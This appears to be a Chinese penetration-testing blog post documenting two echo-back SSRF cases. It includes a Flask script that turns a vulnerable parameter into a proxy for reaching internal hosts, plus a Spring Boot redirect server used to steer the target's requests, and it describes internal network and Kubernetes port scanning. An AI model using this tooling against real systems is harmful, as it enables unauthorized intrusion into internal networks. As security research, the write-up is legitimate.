您现在的位置是:首页 >技术杂谈 >全回显SSRF测试两则网站首页技术杂谈
全回显SSRF测试两则
之前遇到可回显SSRF,并没有怎么去深入,可能漏洞点支持file协议更偏向于任意文件读取,不会去思考可回显SSRF的深入利用;直到读了pmiaowu师傅的可回显SSRF直接搭建成了代理进行内网渗透,后面遇到了两个可回显SSRF,进行了一些尝试。
0x01.背景
SSRF(服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的一个安全漏洞。很多时候遇到的SSRF都是无回显的,盲打内网地址进行内网的系统探测;然而遇到可回显的SSRF的危害好像也只是像无回显SSRF一样,探测一下内网的端口、服务之类,很少去进行深入,笔者在这里对可回显的SSRF两个例子做一个记录。
0x02.例子一
0x001.漏洞点
漏洞点如下,get参数存在SSRF漏洞:
0x002.搭建内网代理
编写脚本如下:
# @Software: f0ng
# -*- coding: utf-8 -*-
import requests
import json
from flask import Flask, request, Response, make_response
from urllib.parse import urlparse
from os.path import splitext, basename
app = Flask(__name__)
@app.before_request
def before_request():
proxies = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}
data = request.url + ";.jpeg"
dest_url = 'http://x.x.x.x/xxx?filePath='
print(data)
headers = dict()
for name, value in request.headers:
headers[name] = value
# headers['Cookie'] = 'key1=value1;key2=value2;'
headers['Host'] = 'x.x.x.x'
resp = requests.get(url=dest_url, headers=headers, proxies=proxies)
if resp.status_code == "302" and ".js" not in data and ".css" not in data:
resp_content_modify_html = "302"
return resp_content_modify_html, resp.status_code, new_headers
if ".js" in data:
return resp.content, resp.status_code, {'Content-Type': 'application/javascript;charset=UTF-8'}
if ".css" in data:
return resp.content, resp.status_code, {'Content-Type': 'text/css;charset=UTF-8'}
if __name__ == "__main__":
app.run(port=8081, debug=True)
这里是我个人修改增加了Content-type的判断,还有一个就是在SSRF漏洞点后面增加了一个静态文件的地址;.css
,为什么要加,可以看下图
加了;.css
如果不加静态文件后缀,那么有些路由无法访问,只要加了静态文件后缀就可以访问,包括.png、.jpeg都可以
页面举例:
0x003.漏洞利用
登录也是可以的,前提是get请求
0x03.例子二
0x001.漏洞点
漏洞点如下,POST参数中的json字段存在SSRF漏洞
0x002.分析利用漏洞
nc监听一下,查看请求
发现是java的请求,jdk8_202的,而且经过对请求包参数修改,路径不可控;一开始想到了使用file协议,但是不行,原因是httpclient不支持;又想到了使用中转服务器,中转请求;由于这个路径很长,所以选用了springboot作为中转服务器
主要代码如下:
@RequestMapping("/cxx/xxxxxxx/xxxx/xxx.do")
public void testcrm(){
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);
response.setHeader("Location","https://www.baidu.com");
}
通过springboot打包
再点击
选中启动器
一路保存即可,然后进入maven,进行package即可
在vps中,执行java -jar xxx.jar --server.port=12
即可
访问12端口,响应包里有baidu的内容,说明成功了
0x003.漏洞访问地址可控
但是每次测试新的地址每次都要打包jar吗?太麻烦了
所以根据nc获取到的信息可以看到,type
参数是可控的
那么就可以通过读取data参数,然后通过analyseJson
函数去获取data里的type
的值
@RequestMapping("/crm_m/xxxxxxx/xxxx/xxx.do")
public void testcrm(){
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
String data = request.getParameter("data");
String url = analyseJson(data);
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);
response.setHeader("Location",url);
}
这样就可以进行完全的ssrf探测了
0x003.漏洞利用
探测ip
探测到192.168存在1,2,3,4四个C段
探测网段内部的存活,延迟高的ip不存在,延迟低的ip存在
后续探测端口,10255、22、6443、10250端口和其他端口响应内容不同,探测结果为开放
10255端口开放,获取到了k8s的信息
10250端口应该也是k8s的,可是由于https的原因,访问不了,遂作罢
0x04.总结
-
挖掘漏洞有一定的难度,利用漏洞也有一定的难度,有一定的知识面才能去扩大攻击面
-
测试SSRF漏洞要有耐心,第一次探测了很多次内网地址,都没有响应,以为不存在漏洞,到后面才发现是延迟太高,60秒的延迟
0x05.引用
https://www.yuque.com/pmiaowu/bomi9w/mbs0gw#YXnMc 【pmiaowu全回显的ssrf搭代理】